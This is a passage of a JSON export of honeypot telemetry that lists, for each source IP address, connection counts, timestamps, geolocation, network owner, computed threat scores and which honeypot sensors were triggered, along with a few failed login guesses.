        "Cowrie": 10,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Ciscoasa": 2,
        "Dicompot": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "14.1.107.36": {
      "attack_count": 10,
      "first_seen": "2026-03-23T02:21:37.499Z",
      "last_seen": "2026-03-23T02:22:42.484Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T02:21:37.499000+00:00",
        "last_seen_30d": "2026-03-23T02:23:44.341000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "78.138.168.46": {
      "attack_count": 10,
      "first_seen": "2026-03-06T00:58:59.118Z",
      "last_seen": "2026-03-27T01:16:22.995Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Zelenodolsk",
      "asn": 28840,
      "as_org": "Pjsc tattelecom",
      "threat_score": 37.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:58:59.118000+00:00",
        "last_seen_30d": "2026-03-27T01:26:30.886000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10
      }
    },
    "104.248.80.228": {
      "attack_count": 7,
      "first_seen": "2026-03-05T08:39:56.554Z",
      "last_seen": "2026-03-05T08:43:06.255Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "firedancer"
      ],
      "passwords_attempted": [
        "firedancer"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T08:37:05.398000+00:00",
        "last_seen_30d": "2026-03-05T08:44:09.384000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "152.170.135.200": {
      "attack_count": 6,
      "first_seen": "2026-03-07T07:10:30.611Z",
      "last_seen": "2026-03-07T07:10:37.981Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T07:10:30.611000+00:00",
        "last_seen_30d": "2026-03-07T07:11:43.518000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "66.132.153.121": {
      "attack_count": 6,
      "first_seen": "2026-03-04T13:39:16.410Z",
      "last_seen": "2026-03-04T13:43:43.993Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 50.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.4,
        "persistence": 15.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 18,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-03T01:15:19.720000+00:00",
        "last_seen_30d": "2026-03-20T17:42:08.740000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 23,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "172.202.118.69": {
      "attack_count": 5,
      "first_seen": "2026-03-19T22:07:43.436Z",
      "last_seen": "2026-03-19T22:07:53.787Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 73.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.3,
        "persistence": 20.8,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 25,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-07T16:53:43.927000+00:00",
        "last_seen_30d": "2026-03-31T03:40:29.018000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 6,
        "Cowrie": 5,
        "ElasticPot": 1
      }
    },
    "64.190.76.14": {
      "attack_count": 5,
      "first_seen": "2026-03-10T14:42:57.186Z",
      "last_seen": "2026-03-10T14:43:01.722Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "sysop"
      ],
      "passwords_attempted": [
        "Gjuhfybxybr@1985"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hayneville",
      "asn": 214094,
      "as_org": "'Association Osservatorio Nessuno ODV'",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T16:35:28+00:00",
        "last_seen_30d": "2026-03-10T14:44:10.833000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "H0neytr4p": 4
      }
    },
    "106.13.228.40": {
      "attack_count": 4,
      "first_seen": "2026-03-14T09:23:43.542Z",
      "last_seen": "2026-03-14T09:23:44.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T09:23:43.542000+00:00",
        "last_seen_30d": "2026-03-14T09:24:46.873000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "162.142.125.208": {
      "attack_count": 4,
      "first_seen": "2026-03-10T07:39:37.146Z",
      "last_seen": "2026-03-10T07:39:52.443Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 61.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.2,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 22,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T06:24:58+00:00",
        "last_seen_30d": "2026-03-23T17:21:41.997000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 42,
        "Cowrie": 4,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Dionaea": 2
      }
    },
    "170.64.175.144": {
      "attack_count": 4,
      "first_seen": "2026-03-16T01:46:57.124Z",
      "last_seen": "2026-03-16T05:29:57.146Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T01:46:57.124000+00:00",
        "last_seen_30d": "2026-03-16T05:31:05.244000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4
      }
    },
    "198.235.24.200": {
      "attack_count": 4,
      "first_seen": "2026-03-30T16:10:48.551Z",
      "last_seen": "2026-03-30T16:10:52.319Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T04:02:53+00:00",
        "last_seen_30d": "2026-03-31T03:15:53.961000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 20,
        "Cowrie": 4,
        "Ciscoasa": 2,
        "ConPot": 1,
        "H0neytr4p": 1,
        "Sentrypeer": 1
      }
    },
    "203.55.131.4": {
      "attack_count": 4,
      "first_seen": "2026-03-22T17:48:37.097Z",
      "last_seen": "2026-03-22T17:48:37.624Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 68.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.1,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 320,
        "days_active_30d": 23,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T01:08:43.665000+00:00",
        "last_seen_30d": "2026-03-24T22:36:22.192000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 226,
        "Honeytrap": 69,
        "Adbhoney": 8,
        "ConPot": 5,
        "Cowrie": 4,
        "Dionaea": 4,
        "CitrixHoneypot": 2,
        "Ipphoney": 2
      }
    },
    "64.62.156.100": {
      "attack_count": 4,
      "first_seen": "2026-03-21T02:52:39.876Z",
      "last_seen": "2026-03-21T02:52:43.969Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 46.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 20,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T06:58:09.390000+00:00",
        "last_seen_30d": "2026-03-21T02:53:52.749000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 4,
        "Honeytrap": 2,
        "CitrixHoneypot": 1
      }
    },
    "64.62.197.203": {
      "attack_count": 4,
      "first_seen": "2026-03-04T12:12:23.600Z",
      "last_seen": "2026-03-04T12:12:27.600Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 74.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 29,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:56:45.552000+00:00",
        "last_seen_30d": "2026-03-31T03:26:58.830000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 5,
        "Cowrie": 4
      }
    },
    "87.106.91.226": {
      "attack_count": 3,
      "first_seen": "2026-03-28T12:35:43.917Z",
      "last_seen": "2026-03-28T12:36:45.946Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 44.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.5,
        "persistence": 20.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 25,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T08:08:17+00:00",
        "last_seen_30d": "2026-03-28T12:37:51.680000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "103.105.214.20": {
      "attack_count": 2,
      "first_seen": "2026-03-04T12:44:06.491Z",
      "last_seen": "2026-03-04T12:44:19.061Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Dumaguete",
      "asn": 137239,
      "as_org": "Fil Products Service Television Incorporated",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:44:06.491000+00:00",
        "last_seen_30d": "2026-03-04T12:45:19.856000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.224.217.49": {
      "attack_count": 2,
      "first_seen": "2026-03-30T18:20:33.936Z",
      "last_seen": "2026-03-30T18:20:46.967Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Port Elizabeth",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T18:20:33.936000+00:00",
        "last_seen_30d": "2026-03-30T18:21:51.938000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.224.251.54": {
      "attack_count": 2,
      "first_seen": "2026-03-27T00:01:37.527Z",
      "last_seen": "2026-03-27T00:01:50.163Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T00:01:37.527000+00:00",
        "last_seen_30d": "2026-03-27T00:02:56.372000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.14.169.186": {
      "attack_count": 2,
      "first_seen": "2026-03-06T14:32:45.634Z",
      "last_seen": "2026-03-06T14:32:58.230Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jinan",
      "asn": 24444,
      "as_org": "Shandong Mobile Communication Company Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T14:32:45.634000+00:00",
        "last_seen_30d": "2026-03-06T14:34:03.845000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.43.45.114": {
      "attack_count": 2,
      "first_seen": "2026-03-04T10:25:37.060Z",
      "last_seen": "2026-03-04T10:25:50.224Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T10:25:37.060000+00:00",
        "last_seen_30d": "2026-03-04T10:26:54.833000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.255.130.215": {
      "attack_count": 2,
      "first_seen": "2026-03-24T22:07:53.443Z",
      "last_seen": "2026-03-24T22:08:09.408Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 271673,
      "as_org": "ST NET TELECOM",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T22:07:53.443000+00:00",
        "last_seen_30d": "2026-03-24T22:09:10.770000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "140.249.49.185": {
      "attack_count": 2,
      "first_seen": "2026-03-31T17:09:29.566Z",
      "last_seen": "2026-03-31T17:11:29.569Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58541,
      "as_org": "Qingdao,266000",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T17:09:29.565000+00:00",
        "last_seen_30d": "2026-03-31T17:22:11.222000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "163.179.11.255": {
      "attack_count": 2,
      "first_seen": "2026-03-15T11:32:16.784Z",
      "last_seen": "2026-03-15T11:32:48.279Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhongshan",
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T11:32:16.784000+00:00",
        "last_seen_30d": "2026-03-15T11:33:51.853000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "170.64.165.165": {
      "attack_count": 2,
      "first_seen": "2026-03-19T14:30:54.369Z",
      "last_seen": "2026-03-19T14:30:54.372Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T14:30:54.369000+00:00",
        "last_seen_30d": "2026-03-19T14:32:01.863000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "170.64.203.213": {
      "attack_count": 2,
      "first_seen": "2026-03-16T19:09:41.869Z",
      "last_seen": "2026-03-16T19:09:41.871Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T19:09:41.869000+00:00",
        "last_seen_30d": "2026-03-16T19:10:43.209000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "175.165.115.18": {
      "attack_count": 2,
      "first_seen": "2026-03-20T06:37:05.736Z",
      "last_seen": "2026-03-20T06:37:20.037Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T06:37:05.736000+00:00",
        "last_seen_30d": "2026-03-20T06:38:27.171000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.149.208.50": {
      "attack_count": 2,
      "first_seen": "2026-03-05T15:16:32.655Z",
      "last_seen": "2026-03-05T15:16:47.433Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9937,
      "as_org": "Delta Networks",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:16:32.655000+00:00",
        "last_seen_30d": "2026-03-05T15:17:50.570000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.46.249.255": {
      "attack_count": 2,
      "first_seen": "2026-03-08T16:56:37.085Z",
      "last_seen": "2026-03-08T16:57:11.421Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
